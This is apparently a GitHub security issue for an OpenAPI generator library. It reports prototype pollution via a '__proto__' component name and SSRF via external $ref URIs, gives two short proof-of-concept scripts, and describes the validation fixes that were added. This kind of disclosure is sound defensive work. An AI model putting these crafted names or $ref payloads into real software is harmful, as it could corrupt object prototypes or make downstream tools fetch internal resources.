Skip to content

Unsafe component/ref names & external $ref injection #351

Description

@kallal79

Summary

This issue describes a critical security problem that allows untrusted input to cause prototype pollution and to include external $ref URIs in generated OpenAPI documents. An attacker supplying a specially crafted schema name or component can: (1) create prototype properties like __proto__ and potentially cause prototype pollution; (2) include external $ref URIs that naive dereferencers might fetch, causing SSRF.

Affected code paths

  • OpenAPIRegistry.register, registerParameter, registerComponent, registerPath, registerWebhook — previously accepted arbitrary names and objects.
  • OpenApiGenerator constructor/generateDocument when accepting raw definitions in the generator.
  • Downstream dereferencers that automatically fetch $ref URIs.

Impact

  • Prototype pollution impacting code that iterates object keys, or using in/hasOwnProperty checks.
  • SSRF: external $ref URIs fetched by users' tools (a dereferencer) may fetch internal/external resources upon document generation.

Proof-of-concept (PoC) code

  1. Prototype PoC — poc/prototype-poc.js
// Prototype PoC: attempt to register a component named '__proto__' via generator
const { OpenApiGeneratorV3 } = require('../dist/index.cjs'); // or require('../src/v3.0/openapi-generator') for source

const definitions = [
  { type: 'component', componentType: 'schemas', name: '__proto__', component: { pwned: 'yes' } },
  { type: 'component', componentType: 'schemas', name: 'Legit', component: { type: 'string' } },
];

const generator = new OpenApiGeneratorV3(definitions);
const doc = generator.generateDocument({ openapi: '3.0.0', info: { title: 'poc', version: '1.0.0' } });

console.log('schema keys:', Object.getOwnPropertyNames(doc.components.schemas));
console.log('doc.components.schemas.__proto__ is own prop?', Object.prototype.hasOwnProperty.call(doc.components.schemas, '__proto__'));

// Try assignment to prove prototype change
const obj = {};
Object.setPrototypeOf(obj, doc.components.schemas.__proto__);
console.log('obj.pwned:', obj.pwned);
  1. SSRF PoC — poc/ssrf-poc.js
const http = require('http');
const fetch = require('node-fetch');
const { OpenApiGeneratorV3 } = require('../dist/index.cjs'); // or source import

const server = http.createServer((req, res) => {
  console.log('Server received request for', req.url);
  res.setHeader('Content-Type', 'application/json');
  res.end(JSON.stringify({ ok: true }));
});

server.listen(0, '127.0.0.1', async () => {
  const port = server.address().port;
  const url = `http://127.0.0.1:${port}/evil-schema.json`;

  const definitions = [
    { type: 'component', componentType: 'schemas', name: 'Legit', component: { type: 'string' } },
    { type: 'component', componentType: 'schemas', name: 'EvilRef', component: { $ref: url } },
    {
      type: 'route',
      route: {
        method: 'get',
        path: '/test',
        responses: { 200: { description: 'Evil', content: { 'application/json': { schema: { $ref: url } } } } },
      },
    },
  ];

  const generator = new OpenApiGeneratorV3(definitions);
  const doc = generator.generateDocument({ openapi: '3.0.0', info: { title: 'ssrf poc', version: '1.0.0' } });

  console.log('Generated document contains external refs:', JSON.stringify(doc, null, 2));

  // naive dereferencer
  async function dereference(obj) {
    if (obj.$ref && typeof obj.$ref === 'string' && !obj.$ref.startsWith('#')) {
      const res = await fetch(obj.$ref);
      return res.json();
    }
    // recursively deref
    if (Array.isArray(obj)) return Promise.all(obj.map(dereference));
    if (!obj || typeof obj !== 'object') return obj;
    const out = {};
    for (const k of Object.keys(obj)) out[k] = await dereference(obj[k]);
    return out;
  }

  const derefDoc = await dereference(doc);
  console.log('Dereferenced document:', JSON.stringify(derefDoc, null, 2));
  server.close();
});

Fix implemented

  • Added helper: src/lib/sanitize.ts with isSafeName, isLocalRef and hasExternalRef.
  • New error classes in src/errors.ts: InvalidRefOrComponentNameError, ExternalReferenceNotAllowedError.
  • Validate names in: OpenAPIRegistry.register, registerParameter, registerComponent, OpenAPIRegistry.registerPath, registerWebhook.
  • Validate raw components passed to the OpenApiGenerator definitions (generator-level validation), rejecting unsafe names and external $ref URIs.
  • Prevented external $ref injection in route request/response content in OpenApiGenerator.getBodyContent and OpenAPIRegistry.registerPath.
  • Added test: spec/security.spec.ts that validates the above behavior.

Files changed

  • Modified: src/openapi-registry.ts, src/openapi-generator.ts, src/errors.ts, README.md, package.json.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions